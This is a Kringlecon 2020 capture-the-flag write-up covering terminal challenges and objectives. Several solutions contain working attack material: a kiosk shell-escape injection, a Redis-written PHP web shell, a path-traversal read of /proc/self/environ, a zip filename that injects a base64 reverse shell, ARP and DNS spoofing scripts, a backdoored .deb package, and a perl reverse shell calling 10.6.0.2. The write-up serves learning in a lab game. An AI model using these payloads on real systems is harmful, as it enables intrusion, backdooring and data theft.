Kringlecon 2020 - Three French Hens
TLDR;
For those that have never signed up or attempted the Xmas challenge before, the SANS institute asks a number of info-sec people (pentesters, red-teamers, blue-teamers, incident responders, soc analysts etc) to build creative challenges and related talks to encourage self learning and a little but of competetive fun Capture-The-Flage (CTF) during the xmas holidays.
You’re free to compete alone, or even team up. The exercises are ususally quite fun and you can end up developing some new skills.
More about the challenge can be found here:
If you fancy a go yourself, it may be too late to sumbit a write-up that could win on of the many SANS prizes on offer. But the SANS Team and their sponsors keep past challenges up for you to continue playing.
Three French Hens
Contents
- Terminal Challenge
- Objectives
- Objective 1 - Santas Gift List
- Objective 2 - Investigate S3 Bucket
- Objective 3 - Point of Sale Password Recovery
- Objective 4 - Operate Santavator
- Objective 5 - Open HID Lock
- Objective 6 - Splunk
- Objective 7 - Solve the Sleigh CAN D-Bus
- Objective 8 - Broken Tag Generator
- Objective 9 - ARP Shenanigans
- Objective 10 - Defeat Fingerprint Sensor
- Objective 11a - Blockchain investigation part 1
- Objective 11b - Blockchain investigation part 2
Terminal Challenges
Pepper Minstix - Unescape Tmux
$ tmux ls
0: 1 windows (created Thu Dec 10 14:43:26 2020) [80x24]
$ tmux attach -d -t 0
Shiny Upatree - Kringle Kiosk
Breakout - Choose Option 4, then as your name enter
;/bin/bash -i
Sugerplum Mary - Linux Primer
elf@219e0e273eaf:~$ ls
HELP munchkin_19315479765589239 workshop
elf@219e0e273eaf:~$ cat munchkin_19315479765589239
munchkin_24187022596776786
elf@219e0e273eaf:~$ rm munchkin_19315479765589239
elf@219e0e273eaf:~$ pwd
/home/elf
elf@219e0e273eaf:~$ ls -la
total 56
drwxr-xr-x 1 elf elf 4096 Dec 10 14:51 .
drwxr-xr-x 1 root root 4096 Dec 9 20:04 ..
-rw-r--r-- 1 elf elf 31 Dec 9 20:07 .bash_history
-rw-r--r-- 1 elf elf 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 elf elf 3105 Dec 5 00:00 .bashrc
-rw-r--r-- 1 elf elf 0 Dec 10 14:51 .munchkin_5074624024543078
-rw-r--r-- 1 elf elf 807 Apr 4 2018 .profile
-rw-r--r-- 1 elf elf 168 Dec 5 00:00 HELP
drwxr-xr-x 1 elf elf 20480 Dec 9 20:08 workshop
elf@219e0e273eaf:~$ history
1 echo munchkin_9394554126440791
2 ls
3 cat munchkin_19315479765589239
4 rm munchkin_19315479765589239
5 pwd
6 ls -la
7 history
elf@219e0e273eaf:~$
$ env
:...
z_MUNCHKIN=munchkin_20249649541603754
LOCATION=15,13
RESOURCE_ID=72012b2f-5f75-4617-bd3f-94078de434bb
MAIL=/var/mail/elf
SHELL=/bin/bash
...
elf@219e0e273eaf:~$ cd workshop/
elf@219e0e273eaf:~/workshop$ grep -i munc -r *
toolbox_191.txt:mUnChKin.4056180441832623
Chmod 755 lolli*
./loll*
elf@219e0e273eaf:~/workshop$ ./lollipop_engine
munchkin.898906189498077
elf@219e0e273eaf:~/workshop$ cd electrical/
elf@219e0e273eaf:~/workshop/electrical$ mv blown_fuse0 fuse0
elf@219e0e273eaf:~/workshop$ cd electrical/
elf@219e0e273eaf:~/workshop/electrical$ mv blown_fuse0 fuse0
elf@219e0e273eaf:~/workshop/electrical$ ln -s fuse0 fuse1
elf@219e0e273eaf:~/workshop/electrical$ cp fuse1 fuse2
elf@219e0e273eaf:~/workshop/electrical$ echo "MUNCHKIN_REPELLENT" >> fuse2
elf@219e0e273eaf:~/workshop/electrical$ find /opt/munchkin_den/ -user munchkin
/opt/munchkin_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/niKhCnUm_9528909612014411
elf@219e0e273eaf:~/workshop/electrical$ find /opt/munchkin_den/ -type f -size 109k -exec ls {} \;
/opt/munchkin_den/plugins/portlet-mocks/src/test/java/org/apache/m_u_n_c_h_k_i_n_2579728047101724
elf@219e0e273eaf:~/workshop/electrical$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
init 1 0.0 0.0 65616 21184 pts/0 Ss+ 14:50 0:00 /usr/bin/python3 /usr/local/bin/tmuxp load ./mysession.yaml
elf 9690 1.7 0.0 84336 25964 pts/2 S+ 14:56 0:00 /usr/bin/python3 /14516_munchkin
elf 10101 0.0 0.0 36180 3156 pts/3 R+ 14:56 0:00 ps aux
$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN
elf@219e0e273eaf:~/workshop/electrical$ curl localhost:54321
$ kill -9 9690
Minty CandyCane - Sort o matic
Solutions:
1 [\d]{1}
2 [A-Za-z]{3,}
3 [a-z0-9]{2}
4 [^A-L1-5]{2}
5 ^[\d]{3,}$
6 ^(?:[01]?\d|2[0-3])(?::[0-5]\d){1,2}$
7 ^[a-fA-F0-9]{2}(:[a-fA-F0-9]{2}){5}$
8 ^(0?[1-9]|[12][0-9]|3[01])[\/\-\.](0[1-9]|1[012])[\/\-\.]\d{4}$
Wunrose Openslae - CAN-Bus Investigation
elf@1cf513c831ad:~$ cat candump.log |awk '{print $3}'|sort|uniq -c
35 188#00000000
2 19B#000000000000 <-lock
1 19B#00000F000000 <- unlock
1 244#0000000012
grep 19B#00000F000000 candump.log
1608926671.122520) vcan0 19B#00000F000000
Answer: 122520
Busty Evergreen - Speaker Unprep
Door
Extract the password from running strings against the binary:
$ strings door
...
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
...
Executing the program and providing the password Op3nTheD00r opens the door, and you can enter a darkended room.
Lights
Hint: Encrypted password as username
Simply copy the encrypted password into the username field of the lights.conf file
password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
name: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124
Running the lights program - you get the password:
>>> CONFIGURATION FILE LOADED, SELECT FIELDS DECRYPTED: /home/elf/lab/lights.conf
---t to help figure out the password... I guess you'll just have to make do!
The terminal just blinks: Welcome back, Computer-TurnLightsOn
Computer-TurnLightsOn
Vending
Hint book cipher - keep iterating through the letters of alphabet until you get a match, then proceed to next character, eventually you can guess at the password
LVEdQPpBwr
CandyCane1
Our initial workings, on attempting to identfy the type of cipher in use:
Aaaaaaaaa 9Vbtacpg9
Bbbbbbbbb GUVBfWhPG
Ccccccccc L9ee6EERe
Abcdefghi 9UedAffhM
Holly Evergreen - Redis Bug Hunt
curl http://localhost/maintenance.php?cmd=flushall
curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,redis.php
curl http://localhost/maintenance.php?cmd=set,test,"<?php+system('cat+index.php');+?>"
curl http://localhost/maintenance.php?cmd=save
curl http://localhost/redis.php --output -
Fitzy Shortstack - 33.6kps (Modem)
First dial: 756-8347 Then select the modem sounds in the right order:
- Baa dee brr
- Ahh
- Wewewewe
- Bedurrdundityy
- Schrr
Rib Bonboford - Elf game
Our Solutions:
1
Elf.moveLeft(10)
Elf.moveUp(11)
2
elf.moveLeft(6)
var sum = (elf.get_lever(0) + 2)
elf.pull_lever(sum)
elf.moveLeft(4)
elf.moveUp(12)
3
elf.moveTo(lollipop[0])
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[2])
elf.moveUp(1)
4
for (i = 0; i < 3; i++) {
elf.moveLeft(3)
elf.moveUp(40)
elf.moveLeft(3)
elf.moveDown(40)
}
5
elf.moveTo(lollipop[1])
elf.moveTo(munchkin[0])
var value = elf.ask_munch(0)
var answer = value.filter(elem => typeof elem === 'number')
elf.tell_munch(answer)
elf.moveUp(2)
6
for (i = 0; i < 4; i++) {
elf.moveTo(lollipop[i]);
}
elf.moveTo(lever[0])
var value = elf.get_lever(0)
value.splice(0, 0, "munchkins rule");
elf.pull_lever(value)
elf.moveDown(4)
elf.moveLeft(6)
elf.moveUp(10)
Tangle Coalbox - Snowball fight
- Hint: http://github.com/tliston/mt19937
- Hint: But on Impossible, the best you get are rejected player names in the page comments. Can you use those somehow?
We found this handy gist post:
Methodology:
- Use comment within impossible level pagesource to obtain 624 values to predict next nonce in sequence
- Play an easy game with our predicted nonce
- find enemy ships - being careful not to complete the game
- Use this easy-map to defeat impossible level
Alabaster - Scapy Prepper
task.submit(send)
task.submit(sniff)
task.submit(1)
task.submit(rdpcap)
task.submit(2)
task.submit(UDP_PACKETS[0])
task.submit(TCP_PACKETS[1][TCP])
UDP_PACKETS[0][IP].src="127.0.0.1"
task.submit(UDP_PACKETS[1])
task.submit("echo")
task.submit(19524)
task.submit(3)
task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))
task.submit(IP(dst='127.2.3.4')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa”)))
ARP_PACKETS[1].hwsrc='00:13:46:0b:22:ba'
ARP_PACKETS[1].hwdst='00:16:ce:6e:8b:24'
ARP_PACKETS[1].op=0x2
task.submit(ARP_PACKETS)
Objectives
Objective 1 - Uncover Santa’s Gift List
Difficulty: 1/5
There is a photo of Santa’s Desk on that billboard with his personal gift list. What gift is Santa planning on getting Josh Wright for the holidays? Talk to Jingle Ringford at the bottom of the mountain for advice.
Billboard: Using gimp filters, to distort -> whirl and pinch the image to make it more readable:
Gift list:
- Ed - Two front teeth
- ? - OU Jersey
- Jermey - Blanket
- Brian - ?
- Josh - Proxmark
- Clay - Darth Vader Suit
- Tad - Holiday Lights
- Phil - Stuffed Pikachu
- Fry - Trip to North Pole
Answer:
Proxmark
Objective 2 - Investigate S3 Bucket
Difficulty: 1/5
When you unwrap the over-wrapped file, what text string is inside the package? Talk to Shinny Upatree in front of the castle for hints on this challenge.
elf@1e1a56d24f41:~/bucket_finder$ vi test
elf@1e1a56d24f41:~/bucket_finder$ ./bucket_finder.rb test
http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
<Public> http://s3.amazonaws.com/wrapper3000/package
vi goget2.sh
require 'open-uri'
File.open('package', "wb") do |file|
file.write open('http://s3.amazonaws.com/wrapper3000/package').read
end
elf@1e1a56d24f41:~/bucket_finder$ ruby goget2
elf@1e1a56d24f41:~/bucket_finder$ cat package
UEsDBAoAAAAAAIAwhFEbRT8anwEAAJ8BAAAcABwAcGFja2FnZS50eHQuWi54ei54eGQudGFyLmJ6MlVUCQADoBfKX6AX
yl91eAsAAQT2AQAABBQAAABCWmg5MUFZJlNZ2ktivwABHv+Q3hASgGSn//AvBxDwf/xe0gQAAAgwAVmkYRTKe1PVM9U0
ekMg2poAAAGgPUPUGqehhCMSgaBoAD1NNAAAAyEmJpR5QGg0bSPU/VA0eo9IaHqBkxw2YZK2NUASOegDIzwMXMHBCFAC
gIEvQ2Jrg8V50tDjh61Pt3Q8CmgpFFunc1Ipui+SqsYB04M/gWKKc0Vs2DXkzeJmiktINqjo3JjKAA4dLgLtPN15oADL
e80tnfLGXhIWaJMiEeSX992uxodRJ6EAzIFzqSbWtnNqCTEDML9AK7HHSzyyBYKwCFBVJh17T636a6YgyjX0eE0IsCbj
cBkRPgkKz6q0okb1sWicMaky2Mgsqw2nUm5ayPHUeIktnBIvkiUWxYEiRs5nFOM8MTk8SitV7lcxOKst2QedSxZ851ce
DQexsLsJ3C89Z/gQ6Xn6KBKqFsKyTkaqO+1FgmImtHKoJkMctd2B9JkcwvMr+hWIEcIQjAZGhSKYNPxHJFqJ3t32Vjgn
/OGdQJiIHv4u5IpwoSG0lsV+UEsBAh4DCgAAAAAAgDCEURtFPxqfAQAAnwEAABwAGAAAAAAAAAAAAKSBAAAAAHBhY2th
Z2UudHh0LloueHoueHhkLnRhci5iejJVVAUAA6AXyl91eAsAAQT2AQAABBQAAABQSwUGAAAAAAEAAQBiAAAA9QEAAAAA
elf@1e1a56d24f41:~/bucket_finder$ base64 -d package
PK
...zip file...
elf@1e1a56d24f41:~/bucket_finder$ base64 -d package > package.zip
elf@1e1a56d24f41:~/bucket_finder$ unzip package.zip
Archive: package.zip
extracting: package.txt.Z.xz.xxd.tar.bz2
Bunzip2 -d package.txt.Z.xz.xxd.tar.bz2
Tar -xf package.txt.Z.xz.xxd.tar.bz2
~/bucket_finder$ cat package.txt.Z.xz.xxd|xxd -r > package.txt.Z.xz
elf@1e1a56d24f41:~/bucket_finder$ unxz package.txt.Z.xz
elf@1e1a56d24f41:~/bucket_finder$ uncompress package.txt.Z
Answer:
elf@1e1a56d24f41:~/bucket_finder$ cat package.txt
North Pole: The Frostiest Place on Earth
North Pole: The Frostiest Place on Earth
Objective 3 - Point-of-Sale Password Recovery
Difficulty: 1/5
Help Sugarplum Mary in the Courtyard find the supervisor password for the point-of-sale terminal. What’s the password?
Hint:electron
Hint: find password
npm install -g asar
asar extract app.asar source
...omit path commands...
Answer:
grep pass main.js
santapass
santapass
References:https://medium.com/how-to-electron/how-to-get-source-code-of-any-electron-application-cbb5c7726c37
Objective 4 - Operate the Santavator
Difficulty: 1/5
Talk to Pepper Minstix in the entryway to get some hints about the Santavator.
Find the following items:
- Red Bulb - talks lobby behng Chimney Scissorsticks
- Green Bulb - Vendor area - next to Google stand
- Yellow bulb - Netwars
- Candystick - Outside Entrance
- Portals - Vending Machine
- Marbles - Wrapping room
- 3.5 button - Speaker unprepardness room
- hex nut - Kitchen (top end of table)
Then arrange the lift panel as follows:
We appear to have not reliased where we obtained the following:
- second marble
- second hexnut
They might have been in the vending machine?
Objective 5 - Open HID Lock
Difficulty: 2/5
Open the HID lock in the Workshop. Talk to Bushy Evergreen near the talk tracks for hints on this challenge. You may also visit Fitzy Shortstack in the kitchen for tips.
Noel Boetie - Wrapping room has a proxmark on the floor
Steal some ids from elfs by standing next to an elf and issuing the proxmark command
pm3 --> lf hid read
#db# TAG ID: 2006e22ee1 (6000) - Format Len: 26 bit - FC: 113 - Card: 6000
Sparkle red berry
#db# TAG ID: 2006e22f0d (6022) - Format Len: 26 bit - FC: 113 - Card: 6022
Holly evergreen
#db# TAG ID: 2006e22f10 (6024) - Format Len: 26 bit - FC: 113 - Card: 6024
Bow nine candle
#db# TAG ID: 2006e22f0e (6023) - Format Len: 26 bit - FC: 113 - Card: 6023
Eventually we see a pattern and can start fuzzing card numbers
lf hid sim -w H10301 --fc 113 --cn 6023
6023
Objective 6 - Splunk Challenge (with Angel Candysalt)
Difficulty: 3/5
Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?
1
| tstats count where index=* by index | search index=T*-win OR T*-main
| rex field=index "(?<technique>t\d+)[\.\-].0*"
| stats dc(technique)
Unique =13
2
What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)
Read them from
| tstats count where index=* by index
t1059.003-main t1059.003-win
3
From hints read https://attack.mitre.org/techniques/T1112/
index=*win reg AND MachineGuid
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
4
index=attack OSTap
| sort _time asc
Top row 2020-11-30T17:44:15Z
5
index=t1123* EventCode=1 AND NOT splunk cmdlet
| table _time,CommandLine, process_id
3648
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md
- https://github.com/frgnca/AudioDeviceCmdlets
6
quser
- https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat
7
index=* sourcetype=bro*
First one (most traffic)
- 55FCEEBB21270D9249E86F4B9DC7AA60
The main question - Who does santa think is responsible:
The Lollipop Guild
Objective 7 - Solve the Sleigh’s CAN-D-BUS Problem
Difficulty: 3/5
Jack Frost is somehow inserting malicious messages onto the sleigh’s CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.
Our notes:
Lock 9B#000000000000
Unlock 9B#00000F000000
Stop 02A#0000FF
Start 02A#00FF00
Accel 244
Brake 080
Steer 19
Therefore, to filter out the bad commands all we need is:
19b equals 0000000f2057
080 contains ffff
Objective 8 - Broken Tag Generator
Difficulty: 4/5
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.
So basically find a Local File Includes (LFI) vulnerablility and read sourcecode of application
LFI:
- curl https://tag-generator.kringlecastle.com/image\?id=../../../app/lib/app.rb
Source:
# encoding: ASCII-8BIT
TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'
# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER
require 'rubygems'
require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'
require 'zip'
require 'sinatra/cookies'
require 'cgi'
require 'digest/sha1'
LOGGER = ::SingLogger.instance()
MAX_SIZE = 1024**2*5 # 5mb
# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
CGI.escapeHTML html
end
def handle_zip(filename)
LOGGER.debug("Processing #{ filename } as a zip")
out_files = []
Zip::File.open(filename) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
LOGGER.debug("Extracting #{entry.name}")
if entry.size > MAX_SIZE
raise 'File too large when extracted'
end
if entry.name().end_with?('zip')
raise 'Nested zip files are not supported!'
end
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
# We want to extract into TMP_FOLDER
out_file = "#{ TMP_FOLDER }/#{ entry.name }"
# Extract to file or directory based on name in the archive
entry.extract(out_file) {
# If the file exists, simply overwrite
true
}
# Process it
out_files << process_file(out_file)
end
end
return out_files
end
def handle_image(filename)
out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end
# Return just the filename - we can figure that out later
return out_filename
end
def process_file(filename)
out_files = []
if filename.downcase.end_with?('zip')
# Append the list returned by handle_zip
out_files += handle_zip(filename)
elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
# Append the name returned by handle_image
out_files << handle_image(filename)
else
raise "Unsupported file type: #{ filename }"
end
return out_files
end
def process_files(files)
return files.map { |f| process_file(f) }.flatten()
end
module TagGenerator
class Server < Sinatra::Base
helpers Sinatra::Cookies
def initialize(*args)
super(*args)
end
configure do
if(defined?(PARAMS))
set :port, PARAMS[:port]
set :bind, PARAMS[:host]
end
set :raise_errors, false
set :show_exceptions, false
end
error do
return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
end
not_found do
return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
end
get '/' do
erb(:index)
end
post '/upload' do
images = []
images += process_files(params['my_file'].map { |p| p['tempfile'].path })
images.sort!()
images.uniq!()
content_type :json
images.to_json
end
get '/clear' do
cookies.delete(:images)
redirect '/'
end
get '/image' do
if !params['id']
raise 'ID is missing!'
end
# Validation is boring! --Jack
# if params['id'] !~ /^[a-zA-Z0-9._-]+$/
# return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
# end
content_type 'image/jpeg'
filename = "#{ FINAL_FOLDER }/#{ params['id'] }"
if File.exists?(filename)
return File.read(filename)
else
return 404, "Image not found!"
end
end
get '/share' do
if !params['id']
raise 'ID is missing!'
end
filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"
if File.exists?(filename)
erb(:share, :locals => { id: params['id'] })
else
return 404, "Image not found!"
end
end
post '/save' do
payload = params
payload = JSON.parse(request.body.read)
data_url = payload['dataURL']
png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])
out_hash = Digest::SHA1.hexdigest png
out_filename = "#{ out_hash }.png"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
LOGGER.debug("output: #{out_path}")
File.open(out_path, 'wb') { |f| f.write(png) }
{ id: out_hash }.to_json
end
end
end
Easy - obtain ENV from the LFI
curl https://tag-generator.kringlecastle.com/image\?id\=../../..//proc/self/environ --output -
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3acd3f464d04RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app%
- GREETZ=JackFrostWasHere
Slightly Harder - RCE
Abuse the system line in the code
Generate am exploit filename and zip it up as follows:
#!/usr/bin/env python3
import zipfile
def build_zip():
with zipfile.ZipFile('file_upload.zip', 'w') as myzip:
myzip.writestr("'; echo -n '<base64 encoded nc reverse shell on port 80>' | base64 -d | xargs -i -t sh -c '{}' ; 'a.jpg", 'r00t')
build_zip()
Then upload the exploit zipfile, and wait the reverse shell!
Get a proper TTY shell via
python -c 'import pty; pty.spawn("/bin/sh")'
id
uid=1000(app) gid=1000(app) groups=1000(app)
Objective 9 - ARP Shenanigans
Difficulty: 4/5
Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?
Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host.
Our recon:
10.6.6.35 4c:24:57:ab:ed:84
10.6.6.53 fa:34:41:59:86:52
10.6.0.1. 02:42:73:35:7b:4a
Simple ARP Poison
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
send(ARP(op=2, pdst="10.6.6.53",hwdst="fa:34:41:59:86:52",psrc="10.6.6.35”))
send(ARP(op=2, pdst="10.6.6.35",hwdst="4c:24:57:ab:ed:84",psrc="10.6.6.53”))
See the following DNS request: ftp.osuosl.org
DNS Poisoning
/home/guest/scripts
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
eth = Ether(src=packet.dst, dst=packet.src)
ip = IP(dst="10.6.6.35", src="10.6.6.53")
udp = UDP(dport=packet.sport,sport=packet.dport)
dns = DNS(
qr=1,
aa=1,
id=packet[DNS].id,
qd=packet[DNS].qd,
an=DNSRR(
ttl=60,
rdata=ipaddr,
rrname="ftp.osuosl.org",
),
)
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=10)
if __name__ == "__main__":
main()
Run a http server
python -m http.server 80
See request for /pub/jfrost/backdoor/suriv_amd64.deb
mkdir pub/jfrost/backdoor/
cd pub/jfrost/backdoor/
cp ~/debs/nano*deb ./
ar x nano*deb
dpkg -x nano*.deb work
mkdir -p work/DEBIAN
tar -xJf control.tar.xz
cp control work/DEBIAN
cp postinstall work/DEBIAN
[install backdoor in postinstall]
dpkg-deb --build work
mv work.deb suriv_amd64.deb
See tutorial: https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/
Reverse shell oneliners: Github swisskyrepo PayloadsAllTheThings
Reverse shell choice:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.6.0.2:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
As perl is typically availble on all debian systems
launch our listener, and cat the file:
nc -v -l =-p 4242
cat /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
Answer:
Tanta Kringle
Objective 10 - Defeat Fingerprint Sensor
Difficulty: 3/5
Bypass the Santavator fingerprint sensor. Enter Santa’s office without Santa’s fingerprint.
Using the developer tools of chrome, we can see as santa we have the following token within the Application’s local storage:
token=["besanta"]
Navigating back through the painting in the “Entry” / entrance we can become ourself again, opening the elevator panel in the lift and opening the developer console we can issue the following command:
- tokens.push(“besanta”)
A successful command should return the number ‘12’ (size of the tokens array), if you get an error, log out, and back in again and try again.
Objective 11a - Naughty/Nice List with Blockchain Investigation Part 1
Difficulty: 4/5
Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex value of the nonce)
This was very much like the snowball game
Hints: https://www.youtube.com/watch?v=reKsZ8E44vw
Best program we found:
We dumped the 1548 nonce values to screen then dumped them into a file called nonces.txt
with open('official_public.pem', 'rb') as fh:
official_public_key = RSA.importKey(fh.read())
c2 = Chain(load=True, filename='block2.dat')
print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
print("-----loading score-----s")
for j in range(1548):
print(c2.blocks[j].nonce)
Then ran mersenne-twister-predictor
docker run --rm -v /tmp/OfficialNaughtyNiceBlockchainEducationPack:/usr/src/app -ti naughty-nice-blockchain
root@c219914a9c72:/usr/src/app# pip install mersenne-twister-predictor
Collecting mersenne-twister-predictor
Downloading mersenne_twister_predictor-0.0.4-py3-none-any.whl (4.2 kB)
Installing collected packages: mersenne-twister-predictor
Successfully installed mersenne-twister-predictor-0.0.4
WARNING: You are using pip version 20.3.1; however, version 20.3.3 is available.
You should consider upgrading via the '/usr/local/bin/python -m pip install --upgrade pip' command.
root@c219914a9c72:/usr/src/app# python3
Python 3.9.1 (default, Dec 12 2020, 13:15:12)
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from mt19937predictor import MT19937Predictor
>>> predictor = MT19937Predictor()
>>> with open('nonces.txt') as f:
... lines = [ line.strip() for line in f ]
...
>>> for i in range(1548):
... predictor.setrandbits(int(lines[i]), 64)
...
>>> predictor.getrandbits(64)
13205885317093879758
>>> predictor.getrandbits(64)
109892600914328301
>>> predictor.getrandbits(64)
9533956617156166628
>>> predictor.getrandbits(64)
6270808489970332317
Convert the next nonce 6270808489970332317 to hexidecimal to win:
57066318F32F729D
Objective 11b - Naughty/Nice List with Blockchain Investigation Part 2
Difficulty: 5/5
The SHA256 of Jack’s altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you’re clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you’ve recreated the original block, what is the SHA256 of that block?
This wasnt all that hard, once you eliminated a large amount of misinformation:
Key slides/ information to focus on:
- https://speakerdeck.com/ange/colltris?slide=109
- https://speakerdeck.com/ange/colltris?slide=194
It’s easy to identify Jacks Block
- His Person ID stands out as 7777
- He has the only score of 0xffffff
Therefore, the two bytes we need to change in Jack’s block are:
- byte 1 - naughty nice flag
- byte 2 - page refernece number « /Type/Catalog/_Go_Away/Santa/Pages 2 0 R
But then we need to change some corresponding bytes in the next 64byte block for the Uncoll collision to keep the same md5 signature:
- Byte 3 - corresponding byte in next block
- Byte 4 - corresponding byte in next block
Extracting and modifying the page reference in the pdf, meant we could use an online reader to retrieve the original document. However this failed in any proper pdf reader like Adobe?, using an online reader we can retrieve the original document:
Note: Docfly deletes documents after 24 hrs
Using a hex editor we modified the necessary bytes, then modified the naughty and nice python program to display the hashes we need
Address 0x49 (+1) and 0x89 (-1)
00000000: 3030 3030 3030 3030 3030 3031 6639 6233 000000000001f9b3
00000010: 6139 3434 3765 3537 3731 6337 3034 6634 a9447e5771c704f4
00000020: 3030 3030 3030 3030 3030 3031 3266 6431 0000000000012fd1
00000030: 3030 3030 3030 3030 3030 3030 3032 3066 000000000000020f
00000040: 3266 6666 6666 6666 6631 6666 3030 3030 2ffffffff1ff0000
00000050: 3030 3663 ea46 5340 303a 6079 d3df 2762 006c.FS@0:`y..'b
00000060: be68 467c 27f0 46d3 a7ff 4e92 dfe1 def7 .hF|'.F...N.....
00000070: 407f 2a7b 73e1 b759 b8b9 1945 1e37 518d @.*{s..Y...E.7Q.
00000080: 22d9 8729 6fcb 0f18 8dd6 0388 bf20 350f "..)o........ 5.
Addresses 0x109 (-1) and 0x1409 (+1)
00000100: 7461 2f50 6167 6573 2032 2030 2052 2020 ta/Pages 2 0 R
00000110: 2020 2020 30f9 d9bf 578e 3caa e50d 788f 0...W.<...x.
00000120: e760 f31d 64af aa1e a1f2 a13d 6375 3e1a .`..d......=cu>.
00000130: a5bf 8062 4fc3 46bf d667 caf7 4995 91c4 ...bO.F..g..I...
00000140: 0201 edab 03b9 ef95 991c 5b49 9f86 dc85 ..........[I....
Modifting th ebottom of naughty_nice.py:
with open('official_public.pem', 'rb') as fh:
official_public_key = RSA.importKey(fh.read())
c2 = Chain(load=True, filename='blockchain.dat')
print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
#we know jacks block is 1010
print(c2.blocks[1010])
jblock=c2.blocks[1010].block_data_signed()
hash_obj = MD5.new()
hash_obj.update(jblock)
